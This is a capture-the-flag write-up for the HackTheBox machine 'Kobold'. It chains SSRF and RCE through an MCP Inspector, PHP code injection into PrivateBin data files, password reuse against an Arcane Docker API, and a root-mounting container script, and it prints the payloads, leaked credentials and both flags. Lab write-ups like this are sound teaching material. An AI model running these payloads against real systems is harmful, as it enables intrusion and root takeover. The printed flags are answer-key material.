Kobold
Kobold
Platform: HackTheBox | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-11 | Status: Solved Techniques: arcane_api_abuse_for_container_creation, config_leak_via_shared_docker_volume, docker_container_host_mount_escalation, password_reuse_across_services, php_injection_into_privatebin_data_files, rce_via_mcp_stdio_transport, ssrf_via_mcp_connect_endpoint, vhost_fuzzing_subdomain_discovery
Summary
Task: HackTheBox machine with MCP Inspector, PrivateBin, and Arcane Docker Management. Solution: SSRF/RCE via MCP protocol, PHP injection into PrivateBin data files to leak config, password reuse to Arcane API, Docker container mount for root flag.
Kobold — HackTheBox
Description
HackTheBox machine at 10.129.55.13. Full pwn: find User Flag and Root Flag.
Target: 10.129.55.13 (HTB VPN)
OS: Ubuntu Linux (Kernel, nginx 1.24.0)
Services: SSH (22, OpenSSH 9.6p1), DNS (53/tcp), HTTP/HTTPS (80/443, nginx 1.24.0)
Web: kobold.htb with wildcard SSL cert *.kobold.htb
Flag format: 32-char hex hashes
Analysis
Medium-difficulty machine with a multi-stage attack chain involving three distinct services:
- MCPJam Inspector (
mcp.kobold.htb) — MCP protocol inspector tool with REST API that allows connecting to arbitrary MCP servers, providing both SSRF and RCE capabilities. - PrivateBin 2.0.2 (
bin.kobold.htb) — Pastebin with client-side encryption running in a Docker container. Theoperatorgroup has write access to its data directory, enabling PHP code injection. - Arcane Docker Management Platform (port 3552) — Docker management API running as root. Default admin password was changed but matched reused PrivateBin database credentials.
The attack chain: subdomain discovery → MCP RCE for initial foothold → PHP injection to leak PrivateBin config → password reuse to authenticate to Arcane → Docker container mount for root.
Solution
Step 1: Reconnaissance
bash read-only • copy allowednmap -sC -sV -T4 --top-ports 1000 10.129.55.13
| Port | Service | Details |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 |
| 53/tcp | domain? | TCP, not responding to DNS queries |
| 80/tcp | HTTP | nginx 1.24.0 → redirects to https://kobold.htb/ |
| 443/tcp | HTTPS | nginx 1.24.0, SSL cert for kobold.htb + *.kobold.htb |
| |
The main site is a static landing page for "Kobold Operations Suite" with contact admin@kobold.htb. The wildcard SSL certificate is a strong indicator of hidden subdomains.
Step 2: Subdomain Discovery
Virtual host fuzzing with ffuf, filtering by response size 154 (default 302 redirect):
bash read-only • copy allowedffuf -u https://kobold.htb/ -H "Host: FUZZ.kobold.htb" -w /path/to/subdomains.txt -fs 154
Discovered subdomains:
mcp.kobold.htb— MCPJam Inspector (React SPA, MCP protocol inspector tool)bin.kobold.htb— PrivateBin 2.0.2 (pastebin with client-side encryption)
Step 3: MCP Inspector Enumeration
The MCPJam Inspector at mcp.kobold.htb exposes a REST API:
| Endpoint | Method | Purpose |
|---|---|---|
/health | GET | Health check |
/api/mcp/servers | GET | List connected MCP servers |
/api/mcp/connect | POST | Connect to an MCP server (SSRF) |
/api/mcp/tools/execute | POST | Execute tools on connected servers |
/api/mcp/oauth/proxy | POST | OAuth proxy (returns headers) |
The /api/mcp/connect endpoint is an SSRF vector — it makes server-side requests to arbitrary URLs. Internal port scan via SSRF revealed:
| Port | Service |
|---|---|
| 80 | nginx (external) |
| 443 | nginx (external) |
| 3552 | Arcane Docker Management Platform |
| 6274 | MCP Inspector (Node.js) |
| 8080 | PrivateBin (internal) |
| 37255 | Unknown |
Step 4: Initial Foothold — RCE via MCP Protocol
The MCP Inspector allows connecting to arbitrary MCP servers via /api/mcp/connect. By creating an inline Node.js MCP server using stdio transport that exposes a shell command execution tool, we achieved Remote Code Execution as user ben.
The attack leverages the MCP protocol's design — it's meant to connect to arbitrary tool servers, so the Inspector faithfully executes tools on any server it connects to, including malicious ones that expose shell access.
Generated an SSH key pair and added the public key to ben's ~/.ssh/authorized_keys for persistent access:
bash read-only • copy allowedssh -i id_ed25519 ben@10.129.55.13 cat /home/ben/user.txt # d4646b55dd23f992a0e298d6d30ec822
User flag: d4646b55dd23f992a0e298d6d30ec822
Step 5: Post-Exploitation Enumeration
Key findings as ben:
Users and groups:
ben(uid 1001) — groups:ben,operator(GID 37)alice(uid 1002) — indockergrouproot
Operator group permissions — write access to Docker-mounted volumes:
/privatebin-data/certs/cert.pemandkey.pem(SSL certificates for nginx)/privatebin-data/data/(PrivateBin data directory with writable PHP files)
Arcane Docker Management Platform (port 3552):
- Open source: https://github.com/getarcaneapp/arcane (v1.13.0)
- Runs as root via systemd service
ENCRYPTION_KEY=Q3PbC9fpq/tPZ2waXI9+grmc8ualF7ITF5izX5rsk+E=- Database: SQLite at
/root/data/arcane.db(not readable by ben) - API requires JWT Bearer or X-API-Key authentication
- Default credentials
arcane/arcane-admin— password was changed
PrivateBin Docker container (privatebin/nginx-fpm-alpine:2.0.2):
/privatebin-data/cfg→/srv/cfg(read-only mount)/privatebin-data/data→/srv/data(read-write mount)/privatebin-data/certs→/etc/ssl/privatebin(read-only mount)- Config directory owned by
root:82(container GID), not readable by ben
Step 6: PrivateBin Config Leak via PHP Code Injection
PrivateBin stores operational PHP files in /privatebin-data/data/:
purge_limiter.php— writable (0777), included viarequirewhen purge check triggerstraffic_limiter.php— read-only for operator groupsalt.php— writable, but read viafile_get_contents(not included as PHP)
Attack: Modified purge_limiter.php to inject PHP code that reads the PrivateBin config from inside the container:
php read-only • copy allowed<?php $GLOBALS["purge_limiter"] = "1000000000"; @file_put_contents('/srv/data/cfg_dump.txt', @file_get_contents('/srv/cfg/conf.php'));
Triggered execution by creating a paste via the PrivateBin API:
bash read-only • copy allowedcurl -sk -X POST http://127.0.0.1:8080/ \ -H "X-Requested-With: JSONHttpRequest" \ -H "Content-Type: application/json" \ -d '{"v":2,"adata":[["...encrypted..."],...],"ct":"...","meta":{"expire":"5min"}}'
The injected code executed inside the container and dumped the config to /srv/data/cfg_dump.txt, accessible on the host as /privatebin-data/data/cfg_dump.txt.
Leaked credentials from conf.php:
ini read-only • copy allowed[model] ; Temporarily disabling while we migrate to new server for loadbalancing ;class = Database [model_options] dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8" tbl = "privatebin_" usr = "privatebin" pwd = "ComplexP@sswordAdmin1928"
Step 7: Arcane API Authentication via Password Reuse
The PrivateBin database password ComplexP@sswordAdmin1928 worked for the Arcane admin account:
bash read-only • copy allowedcurl -X POST http://127.0.0.1:3552/api/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}'
Received a valid JWT token with admin role, granting full access to the Docker management API.
Step 8: Root Flag via Docker Container Escape
Used the Arcane API to create a Docker Compose project that mounts the host's /root directory:
python read-only • copy allowed#!/usr/bin/env python3 import json, subprocess, sys, time, os TOKEN = sys.argv[1] compose = """services: shell: image: privatebin/nginx-fpm-alpine:2.0.2 user: "0:0" volumes: - /root:/mnt/root:ro - /privatebin-data/data:/mnt/output entrypoint: ["sh"] command: ["-c", "cat /mnt/root/root.txt > /mnt/output/root_flag.txt"] """ payload = json.dumps({"name": "pwn", "composeContent": compose}) # Create project result = subprocess.run([ "curl", "-sk", "-X", "POST", "http://127.0.0.1:3552/api/environments/0/projects", "-H", f"Authorization: Bearer {TOKEN}", "-H", "Content-Type: application/json", "-d", payload ], capture_output=True, text=True) data = json.loads(result.stdout) project_id = data["data"]["id"] # Deploy subprocess.run([ "curl", "-sk", "-X", "POST", f"http://127.0.0.1:3552/api/environments/0/projects/{project_id}/up", "-H", f"Authorization: Bearer {TOKEN}", ], capture_output=True, text=True) time.sleep(5) # Read flag with open("/privatebin-data/data/root_flag.txt") as f: print(f.read())
Key detail: user: "0:0" is required because the default PrivateBin image runs as nobody. The container copies /root/root.txt to the shared volume at /privatebin-data/data/root_flag.txt, readable by ben.
bash read-only • copy allowedcat /privatebin-data/data/root_flag.txt # 15c96b4e842465cac8fec5097dd19c68
Root flag: 15c96b4e842465cac8fec5097dd19c68